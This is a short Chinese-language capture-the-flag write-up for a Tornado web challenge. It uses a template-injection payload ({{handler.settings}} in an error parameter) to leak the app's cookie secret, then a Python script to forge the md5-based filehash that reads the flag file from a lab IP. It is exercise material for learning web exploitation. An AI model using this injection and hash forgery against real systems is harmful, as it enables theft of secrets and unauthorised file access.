真不easy
提取有用信息:
打开网站,发现有三个文件
- flag.txt: 告诉了我们flag的位置
- welcome.txt:告诉我们这是和render渲染函数有关,即可能存在SSTI漏洞
- hints.txt: 告诉了我们某个东西的加密方式
根据经验,盲猜这是个身份验证的秘钥,看见URL后面的东西像MD5加密后的密文,所以猜测可能就是filehash的值
所以,我们访问/fllllllllllllag文件获取flag的格式就是:http://...//file?filename=/fllllllllllllag&filehash=xxxxxxxxxxxxxxxxxxxxxxxxxx
寻找漏洞
我们要寻找的肯定是SSTI漏洞
我们发现,只要在URL后面输入{{...}}的内容一定会跳转到error网站
那就猜想这个网站可能有SSTI漏洞咯
果然存在SSTI漏洞,那么现在就是招漏洞注入点
百度,找tornado的特点:
你也不知道,所以百度:tornado的漏洞
其实也不需要看懂,碰到了查一下就好
注入:/error?msg={{handler.settings}}
得到了一串:
根据加密规则,写python脚本进行加密
import hashlib
filename='/fllllllllllllag'
cookie_security="557da611-8ab8-4cd2-916d-e075279074cd"
def getvalue(string):
md5=hashlib.md5()
md5.update(string.encode('utf-8'))
return md5.hexdigest() #返回十六进制md5值(默认返回的是二进制)
def merge():
flag=getvalue(cookie_security+getvalue(filename))
#print(flag)
payload='http://111.200.241.244:58389/file?filename=/fllllllllllllag&filehash='+flag
print(payload)
if __name__=='__main__':
merge()
得到
直接输入这个URL就好了